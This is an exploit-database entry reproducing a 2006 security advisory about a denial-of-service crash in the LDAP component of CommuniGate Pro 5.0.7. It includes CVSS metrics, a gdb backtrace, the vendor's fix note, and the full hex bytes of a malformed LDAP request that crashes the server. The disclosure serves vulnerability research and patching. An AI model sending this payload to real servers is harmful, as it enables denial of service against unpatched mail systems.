Exploitalert - Database of Exploits

ProtoVer LDAP vs CommuniGate Pro 5.0.7

CVE	Category	Price	Severity
Not specified	CWE-Other	Not available	High

Author	Risk	Exploitation Type	Date
Not disclosed	High	Remote	2006-02-15

CPE
cpe:cpe:/a:communigate:pro:5.0.7

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

http://cxsecurity.com/ascii/WLB-2006020026

I. DESCRIPTION CommuniGate Pro Core Server from CommuniGate Systems provides robust cross-platform groupware applications, enabling a cost effective, easy to manage communications platform. For more info visit http://www.stalker.com II. DETAILS ProtoVer LDAP testsuite v1.5 uncovered critical Denial of Service vulnerability in LDAP component of CommuniGate Pro Server 5.0.7 The vulnerability could be used by a remote unauthenticated attacker to crash the server. Example debug session is below. Program received signal SIGSEGV, Segmentation fault. [Switching to Thread -1458242640 (LWP 25554)] 0x080fa008 in VDirectoryFile::findParentDN () (gdb) backtrace #0 0x080fa008 in VDirectoryFile::findParentDN () #1 0x080fa031 in VDirectoryFile::findParentDN () ... #353 0x080fa031 in VDirectoryFile::findParentDN () #354 0x080fcc6f in VDirectoryFile::findRecords () #355 0x080efc23 in VDirectory::findDirectoryRecords () #356 0x081b09b3 in VLDAPInput::processInput () #357 0x082cb5a3 in VStream::worker () #358 0x082cc419 in VStream::starter () #359 0x0839c369 in STThreadStarter () #360 0xa9a09b80 in start_thread () from /lib/libpthread.so.0 #361 0xa9976dee in clone () from /lib/libc.so.6 To reproduce the vulnerability, send the following data to LDAP port: """ 30 82 02 38 02 01 01 63 82 02 31 04 82 02 15 64 63 3d 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 64 63 3d 65 78 61 6d 70 6c 65 2c 64 63 3d 63 6f 6d 0a 01 02 0a 01 00 02 01 00 02 01 00 01 01 00 a2 05 87 03 66 6f 6f 30 00 """ III. VENDOR RESPONSE The vendor has released 5.0.8 version which addresses this issue. Quote from http://www.stalker.com/CommuniGatePro/History.html: """ 5.0.8 03-Feb-06 * Directory: DN processing changed to avoid problems with DNs containing too many (>100) elements. """ IV. CREDIT The vulnerability has been found using GLEG Ltd's ProtoVer LDAP testsuite: http://www.gleg.net/protover_ldap.shtml

Impressum